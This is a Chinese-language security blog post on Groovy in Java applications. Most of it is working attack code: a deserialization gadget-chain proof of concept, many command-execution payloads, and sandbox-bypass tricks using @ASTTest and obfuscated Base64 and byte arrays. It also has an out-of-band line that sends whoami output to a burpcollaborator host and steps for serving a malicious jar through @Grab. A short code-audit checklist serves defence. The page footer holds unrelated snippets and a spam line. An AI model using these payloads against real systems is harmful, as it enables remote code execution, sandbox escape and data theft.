<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法

    一顆小胡椒2023-01-13 11:15:16

    反序列化

    Groovy : 1.7.0-2.4.3

    AnnotationInvocationHandler.readObject()    Map.entrySet() (Proxy)        ConversionHandler.invoke()            ConvertedClosure.invokeCustom()                MethodClosure.call()                    ProcessGroovyMethods.execute()
    import org.codehaus.groovy.runtime.ConvertedClosure;import org.codehaus.groovy.runtime.MethodClosure;
    import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Map;
    public class Groovy_POC {    public static String serialize(Object obj) throws Exception{        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream outputStream = new ObjectOutputStream(barr);        outputStream.writeObject(obj);        byte[] bytes = barr.toByteArray();        barr.close();        return Base64.getEncoder().encodeToString(bytes);    }    public static void unserialize(String base64) throws Exception{        byte[] decode = Base64.getDecoder().decode(base64);        ByteArrayInputStream barr = new ByteArrayInputStream(decode);        ObjectInputStream inputStream = new ObjectInputStream(barr);        inputStream.readObject();    }    public static void main(String[] args) throws Exception{        //封裝對象        MethodClosure methodClosure = new MethodClosure("calc", "execute");        ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");        //反射獲取AnnotationInvocationHandler構造方法        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructor = aClass.getDeclaredConstructors()[0];        constructor.setAccessible(true);        //動態代理        Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);        //初始化        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);        //序列化        String serialize = serialize(invocationHandler);        System.out.println(serialize);        //反序列化        unserialize(serialize);    }}
    

    代碼注入

    條件

    如果外部可控輸入Groovy代碼或者外部可上傳一個惡意的Groovy腳本,且程序并未對輸入的Groovy代碼進行有效的過濾,那么會導致惡意的Groovy代碼注入,從而RCE

    多種命令執行方法

    運行這樣一個Groovy代碼,將會彈出一個計算器,成功執行了命令(def是用來定義標識符)

    //其他執行命令執行的方法Runtime.getRuntime().exec("calc")"calc".execute()'calc'.execute()"${"calc".execute()}""${'calc'.execute()}"
    //回顯的方式println "whoami".execute().textprintln 'whoami'.execute().textprintln "${"whoami".execute().text}"println "${'whoami'.execute().text}"def cmd = "whoami";println "${cmd.execute().text}"
    

    注入點分析

    MethodClosure

    看看他的構造方法

    可以發現他傳入了一個對象,第二個是對象的方法,通過其中的docall方法進行調用

    但是docall方法是protected修飾的,不能直接調用,調用它的父類Closure的call方法間接調用

    package ysoserial.vulndemo;
    import org.codehaus.groovy.runtime.MethodClosure;
    public class GroovyInject {    public static void main(String[] args) {//        MethodClosure methodClosure = new MethodClosure(Runtime.getRuntime(), "exec");//        methodClosure.call("calc");        MethodClosure methodClosure = new MethodClosure("calc", "execute");        methodClosure.call();    }}
    

    GroovyShell

    類中的evaluate方法有多個重載,支持有GroovyCodeSource String File URI 等參數類型,能夠通過Groovy代碼寫入或者本地加載或者遠程加載Groovy腳本來執行命令

    其中的parse方法就是或者對應的Groovy腳本,之后調用run方法進行執行代碼內容

    //直接執行Groovy代碼GroovyShell shell = new GroovyShell();shell.evaluate("\'calc\'.execute()");
    //通過加載本地腳本GroovyShell shell = new GroovyShell();Script script = shell.parse(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));script.run();
    GroovyShell shell = new GroovyShell();shell.evaluate(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
    //通過加載遠程腳本GroovyShell shell = new GroovyShell();shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));
    

    這里的url和Groovy代碼同樣可以通過GroovyCodeSource封裝之后執行evalute執行代碼

    GroovyScriptEngine

    GroovyScriptEngine可從指定的位置(文件系統、URL、數據庫等等)加載Groovy腳本,并且隨著腳本變化而重新加載它們

    其構造方法存在重載的方式,可以指定遠程Url/根文件位置/ClassLoader

    之后通過使用run方法回顯,有兩個重載,一個是傳入腳本名和對應的參數,另一個是腳本名和Binding對象

    //通過傳入根路徑之后調用對應的腳本GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/ysoserial/vulndemo");scriptEngine.run("GroovyTest.groovy", "");
    //通過調用遠程url之后調用特定腳本GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");scriptEngine.run("GroovyTest.groovy", "");
    //通過Binding加載GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");scriptEngine.run("src/main/java/ysoserial/vulndemo/GroovyTest.groovy", new Binding());
    

    GroovyClassLoader

    GroovyClassLoader是一個定制的類裝載器,負責解釋加載Java類中用到的Groovy類,重寫了loadClass和defineClass方法

    parseClass 可以直接從文件或者字符串中獲取groovy類

    //從文件中獲取Groovy類GroovyClassLoader groovyClassLoader = new GroovyClassLoader();Class aClass = groovyClassLoader.parseClass(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));GroovyObject object = (GroovyObject) aClass.newInstance();object.invokeMethod("main", "");
    //從文本中獲取Groovy類GroovyClassLoader groovyClassLoader = new GroovyClassLoader();Class aClass = groovyClassLoader.parseClass("class GroovyTest {" +"    static void main(args){" +"        println \"${'whoami'.execute().text}\"" +"" +"    }" +"}");GroovyObject groovyObject = (GroovyObject) aClass.newInstance();groovyObject.invokeMethod("main", "");
    

    ScriptEngine

    在ScriptEngine中,支持名為“groovy”的引擎,可用來執行Groovy代碼。這點和在SpEL表達式注入漏洞中講到的同樣是利用ScriptEngine支持JS引擎從而實現繞過達到RCE是一樣的

    ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
    

    bypass方法

    反射+字符串拼接

    import java.lang.reflect.Method;Class rt = Class.forName("java.la" + "ng.Run" + "time");Method gr = rt.getMethod("getR" + "untime");Method ex = rt.getMethod("ex" + "ec", String.class);ex.invoke(gr.invoke(null), "ca" + "lc")
    

    Groovy沙箱繞過

    Groovy代碼注入都是注入了execute()函數,從而能夠成功執行Groovy代碼,這是因為不是在Jenkins中執行即沒有Groovy沙箱的限制。但是在存在Groovy沙箱即只進行AST解析無調用或限制execute()函數的情況下就需要用到其他技巧了

    @AST注解執行斷言

    https://www.groovy-lang.org/metaprogramming.html#_available_ast_transformations

    利用AST注解能夠執行斷言從而實現代碼執行

    //@AST注解執行斷言this.class.classLoader.parseClass("""    @groovy.transform.ASTTest(value={        assert Runtime.getRuntime().exec("calc")    })    def x""")
    //OOB
    @groovy.transform.ASTTest(value={cmd = "whoami";out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";java.lang.Runtime.getRuntime().exec(cmd2.split(" "))})def x
    //使用Base64編碼this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))
    //同樣可以直接使用Bytethis.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
    

    模擬受害者:

    class TestScript {    static void main(String[] args) {        //加載惡意腳本        GroovyShell shell = new GroovyShell()        shell.parse(new File("Test.groovy")).run();    }}
    

    @Grab注解加載遠程惡意類

    Grape是Groovy內建的一個動態Jar依賴管理程序,允許開發者動態引入不在ClassPath中的函式庫

    需要導入ivy依賴,不然會報錯(你可以試試)

    <dependency>    <groupId>org.apache.ivygroupId>    <artifactId>ivyartifactId>    <version>2.4.0version>dependency>
    
    POC
    //@Grab注解加載遠程惡意類this.class.classLoader.parseClass("""    @GrabConfig(disableChecksums=true)    @GrabResolver(name="Poc", root="http://127.0.0.1:8888/")    @Grab(group="Poc", module="EvilJar", version="0")    import java.lang.String""");
    

    這里的加載依賴會看本地倉庫是否有,如果沒有就從root服務器的group/module/version目錄里面下載EvilJar-0.jar文件,默認存放在~/.groovy/grapes目錄下

    之后使用processOtherServices方法處理其他服務,比如這里的name

    我們就需要在服務器上編寫一個惡意類

    //Poc.javapublic class Poc{    Poc() throws Exception{        Runtime.getRuntime().exec("calc");    }}
    //編譯成.class文件javac Poc.java//創建目錄mkdir -p META-INF/services///在org.codehaus.groovy.plugins.Runners中寫入加載的類名Pocecho Poc > META-INF/services/org.codehaus.groovy.plugins.Runners//將.class文件打包成jar包jar cvf module-version.jar Poc.class META-INF///創建放jar包的目錄mkdir -p group/module/version///將jar包復制到該目錄下mv module-version.jar group/module/version//之后開啟http服務
    

    排查方法

    排查關鍵類函數特征:

    關鍵類關鍵函數groovy.lang.GroovyShellevaluategroovy.util.GroovyScriptEnginerungroovy.lang.GroovyClassLoaderparseClassjavax.script.ScriptEngineeval

    序列化groovy
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
    序列化的核心思維旨在,將A變成B,最后再從B還原回A。 總之,在一些條件苛刻或者變化無常的環境與需求中,產生了這種靈活的可逆性的B的中間體。 理解不安全反序列化的最好方法是了解不同的編程語言如何實現序列化和反序列化。這里的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進制形式hashmap樹型等其他數據結構里的序列化中間體)。
    weblogic T3 attack&cve
    2023-03-29 10:07:32
    定義了固定的t3header和反序列化標志頭fe010000。RFC1700規定使用“大端”字節序為網絡字節序,所以對生成的payload使用>大端模式打包,I表示unsigned int。CVE-2016-0638復現需要打補丁,找不到懶得打了,簡單說一下繞過,不寫poc了黑名單列表為:+org.apache.c
    JNDI漏洞利用探索
    2022-01-23 19:33:23
    最近學習了淺藍師傅尋找的一些JNDI漏洞的利用鏈受益匪淺,自己也嘗試關于JNDI漏洞利用做一些挖掘,目前JN
    最近Log4j的漏洞引起了很多師傅對JNDI注入漏洞利用的研究,淺藍師傅的文章探索高版本 JDK 下 JNDI漏洞的利用方法提出了很多關于繞過JNDI高版本限制的方法,本文主要是對文章中的部分方法進行分析并加上一些我個人的思考。 前言
    CISA最近發出警告,攻擊者正在使用Log4Shell利用VMWare Horizon服務器來發起攻擊。到目前為止,對 Log4Shell 的大量利用都集中在眾所周知的、廣泛部署的應用程序上,例如 VMware Horizon、VMware vCenter 和 Unifi Network 應用程序。這樣做的目的是介紹Log4Shell 的廣泛和長期影響以及開發漏洞利用的速度。研究人員只發現其中約 20 個使用 Shodan 公開曝光。Log4Shell 的 Elasticsearch 聲明稱,由于 Elasticsearch 使用 Java Security Manager鎖定權限的方式,只有 Elasticsearch 5 容易受到遠程代碼執行的影響。
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    java序列化與反序列化
    2022-04-13 16:35:35
    java反序列化指字節序列恢復到java對象。bit,則一個字最大為 FFFF。序列化是把對象轉換成有序字節流,以便在網絡上傳輸或者保存在本地文件中。序列化后的字節流保存了Java對象的狀態以及相關的描述信息。序列化機制的核心作用就是對象狀態的保存與重建。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类